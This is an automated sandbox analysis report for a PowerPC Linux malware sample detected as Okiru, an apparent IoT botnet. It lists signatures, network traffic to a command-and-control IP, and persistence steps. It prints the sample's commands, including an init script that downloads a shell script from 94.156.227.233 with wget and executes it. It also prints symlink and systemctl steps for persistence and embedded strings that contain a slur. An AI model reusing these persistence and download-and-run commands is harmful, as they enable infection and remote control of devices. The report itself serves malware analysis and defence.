Linux Analysis Report
powerpc.nn.elf

Overview

General Information

Sample name: powerpc.nn.elf
Analysis ID: 1580223
MD5: 8d61a53c4a55c321204fc33d83e11ef6
SHA1: c923fd93e615fc1f2628dc81b537496a47dc72aa
SHA256: a403c2dcbaa06bc3ae140ba54656d2312dd30b07f53c44c75d31eaf17b48b4c6
Tags: elfuser-abuse_ch
Infos:

Detection

Okiru
Score: 80
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

AV Detection

barindex
Source: powerpc.nn.elf Avira: detected
Source: powerpc.nn.elf ReversingLabs: Detection: 26%
Source: powerpc.nn.elf String: getinfo xxxTSource Engine QueryNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/...%s/%stmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234locked Process: PID=%d, Bot-ID:%sFound And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/./fd/socket/proc/%d/mountinfo/ /proc-altered/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/ping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/loginnfstftpftpmalloc[start_pid_hopping] Failed to clone: %s
Source: global traffic TCP traffic: 192.168.2.13:44546 -> 94.156.227.234:38242
Source: /tmp/powerpc.nn.elf (PID: 5427) Socket: 0.0.0.0:38242 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: powerpc.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, powerpc.nn.elf.30.dr, custom.service.12.dr String found in binary or memory: http://94.156.227.233/
Source: powerpc.nn.elf String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: getinfo xxxTSource Engine QueryNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/...%s/%stmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234locked Process: PID=%d, Bot-ID:%sFound And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/./fd/socket/proc/%d/mountinfo/ /proc-altered/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/g
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal80.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior

barindex
Source: /tmp/powerpc.nn.elf (PID: 5427) File: /etc/profile Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5427) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 5477) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 5491) File: /etc/rc.d/S99powerpc.nn.elf -> /etc/init.d/powerpc.nn.elf Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5427) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5474) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5482) File: /etc/init.d/powerpc.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5494) File opened: /proc/5580/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5494) File opened: /proc/5570/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5494) File opened: /proc/5581/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5494) File opened: /proc/5571/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5494) File opened: /proc/5582/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5494) File opened: /proc/5572/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5494) File opened: /proc/5573/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5494) File opened: /proc/5266/cmdline Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5494) File opened: /proc/5574/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5494) File opened: /proc/5575/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5494) File opened: /proc/5576/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5494) File opened: /proc/5577/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5494) File opened: /proc/5578/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5494) File opened: /proc/802/cmdline Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5494) File opened: /proc/5568/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5494) File opened: /proc/5579/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5494) File opened: /proc/5569/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5494) File opened: /proc/5539/status Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5442) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5472) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5475) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5478) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/powerpc.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting powerpc.nn.elf'\n /tmp/powerpc.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping powerpc.nn.elf'\n killall powerpc.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/powerpc.nn.elf" Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5480) Shell command executed: sh -c "chmod +x /etc/init.d/powerpc.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5483) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5486) Shell command executed: sh -c "ln -s /etc/init.d/powerpc.nn.elf /etc/rc.d/S99powerpc.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /bin/sh (PID: 5474) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 5482) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/powerpc.nn.elf Jump to behavior
Source: /bin/sh (PID: 5485) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Source: /bin/sh (PID: 5456) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5427) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5474) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5482) File: /etc/init.d/powerpc.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /tmp/powerpc.nn.elf (PID: 5427) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/powerpc.nn.elf (PID: 5427) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 5478) Writes shell script file to disk with an unusual file extension: /etc/init.d/powerpc.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection

barindex
Source: /tmp/powerpc.nn.elf (PID: 5427) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 5478) File: /etc/init.d/powerpc.nn.elf Jump to dropped file
Source: /tmp/powerpc.nn.elf (PID: 5427) Queries kernel information via 'uname': Jump to behavior
Source: powerpc.nn.elf, 5427.1.000055d5cd54a000.000055d5cd5fa000.rw-.sdmp Binary or memory string: !/etc/qemu-binfmt/ppc1/usr/lib/udisks2/udisksd1/proc/12/exeU
Source: powerpc.nn.elf, 5427.1.00007ffddfcbe000.00007ffddfcdf000.rw-.sdmp Binary or memory string: U/tmp/qemu-open.nxFfay\
Source: powerpc.nn.elf, 5427.1.000055d5cd54a000.000055d5cd5fa000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: powerpc.nn.elf, 5427.1.000055d5cd54a000.000055d5cd5fa000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/ppc
Source: powerpc.nn.elf, 5427.1.00007ffddfcbe000.00007ffddfcdf000.rw-.sdmp Binary or memory string: /tmp/qemu-open.nxFfay
Source: powerpc.nn.elf, 5427.1.00007ffddfcbe000.00007ffddfcdf000.rw-.sdmp Binary or memory string: /usr/bin/qemu-ppc
Source: powerpc.nn.elf, 5427.1.00007ffddfcbe000.00007ffddfcdf000.rw-.sdmp Binary or memory string: %s/qemu-op
Source: powerpc.nn.elf, 5427.1.00007ffddfcbe000.00007ffddfcdf000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-ppc/tmp/powerpc.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/powerpc.nn.elf
Source: powerpc.nn.elf, 5427.1.00007ffddfcbe000.00007ffddfcdf000.rw-.sdmp Binary or memory string: MPDIR%s/qemu-op
Source: powerpc.nn.elf, 5427.1.000055d5cd54a000.000055d5cd5fa000.rw-.sdmp Binary or memory string: !/proc/1563/exe0!/proc/727/exe1/proc/3375/exe/ppc/ro10!/usr/lib/xorg/Xorg!/usr/bin/vmtoolsd1

Stealing of Sensitive Information

barindex
Source: Yara match File source: powerpc.nn.elf, type: SAMPLE
Source: Yara match File source: 5427.1.00007f3150001000.00007f3150016000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powerpc.nn.elf PID: 5427, type: MEMORYSTR

Remote Access Functionality

barindex
Source: Yara match File source: powerpc.nn.elf, type: SAMPLE
Source: Yara match File source: 5427.1.00007f3150001000.00007f3150016000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powerpc.nn.elf PID: 5427, type: MEMORYSTR
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs